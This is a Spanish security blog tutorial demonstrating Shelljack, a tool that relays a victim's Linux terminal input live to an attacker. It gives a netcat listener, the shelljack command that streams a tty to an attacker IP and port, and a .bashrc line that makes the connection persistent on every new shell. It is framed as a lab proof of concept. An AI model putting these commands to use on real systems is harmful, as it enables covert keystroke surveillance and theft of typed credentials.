Seguridad

Shelljack: monitorización remota de consola en tiempo real en linux

En este post hablaremos sobre cómo monitorizar una consola linux a través de la herramienta Shelljack, además de aplicarle persistencia junto a una PoC para que se visualice todo más claro; lo mejor de esta herramienta es que la monitorización es en tiempo real, es decir, no solamente verás el output del comando de la víctima, verás cada letra que escriba en la consola en tiempo real.

Preparándolo todo

Como es lógico, esta PoC se ha realizado en un entorno controlado, se irá explicando la prueba de concepto poco a poco; se ha realizado en sistemas basados en Debian, importante a tener en cuenta a la hora de instalar las diferentes herramientas necesarias.

Necesitamos una máquina atacante con netcat (nc) instalado y una máquina víctima con git y shelljack:

*Cabe destacar que en una situación real, el atacante necesitaría algún tipo de ejecución de código remoto (RCE) en la máquina de la víctima para poder llevar a cabo el ataque.

  • En la máquina víctima se ejecuta:
sudo apt install git -y

git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/ctty.git
cd ctty
make
cd ..

git clone https://github.com/emptymonkey/shelljack.git
cd shelljack
make
  • En la máquina atacante se ejecuta:
sudo apt install netcat -y

Con estos simples comandos ya estaría todo preparado para empezar.

Usando Shelljack

En la máquina atacante se pone un puerto a la escucha para esperar la conexión proveniente de la máquina víctima:

nc -lvp 9999

Con el parámetro «l» se indica que se ponga a la escucha, con la «v» el modo verboso para que dé feedback cuando haya alguna interacción con el puerto y la «p» para indicar el puerto, en este caso se utilizó el «9999» pero puede ser cualquier puerto.

Una vez ejecutado netcat (nc), en la máquina víctima necesitamos obtener el PID de la tty de la víctima para que shelljack nos monitorice la consola correspondiente; una vez obtenido, ya se podrá ejecutar shelljack para empezar con la monitorización:

rce@pc-victima:~/shelljack$ tty
rce@pc-victima:~/shelljack$ ./shelljack -n <ip atacante>:<puerto> <PID tty>

Después del -n se debe sustituir la IP y el puerto del atacante por los correspondientes en cada caso.

Ahora, cuando la víctima escriba algo en consola, se verá en tiempo real desde nuestra máquina.

  • Vista de la víctima:
  • Vista del atacante:

Una vez realizado esto, solo falta la persistencia.

Aplicando la persistencia

Hay muchas maneras de aplicar persistencia, en esta PoC solamente se enseña una de ellas.

Es muy simple, se debe modificar el fichero .bashrc de la víctima/home/víctima/.bashrc«) para que cada vez que abra una consola, realice la conexión correspondiente. Debe añadirse el siguiente fragmento de código:

tty &>/dev/null; /home/code/shelljack/shelljack -n 192.168.3.3:9999 $$ &>/dev/null

Ese comando se escribe directamente en el .bashrc. Este archivo contiene una serie de comandos y órdenes que son ejecutadas cada vez que se abre una shell, por ese motivo es bueno para hacer persistencia de este tipo; se deben modificar los parámetros del comando para que se adecúe a cada caso, es decir, cambiar la IP, el puerto y la ruta donde está guardado shelljack.

Más información:

La entrada Shelljack: monitorización remota de consola en tiempo real en linux se publicó primero en Una al Día.

Powered by WPeMatico

Gustavo Genez

Informático de corazón y apasionado por la tecnología. La misión de este blog es llegar a los usuarios y profesionales con información y trucos acerca de la Seguridad Informática.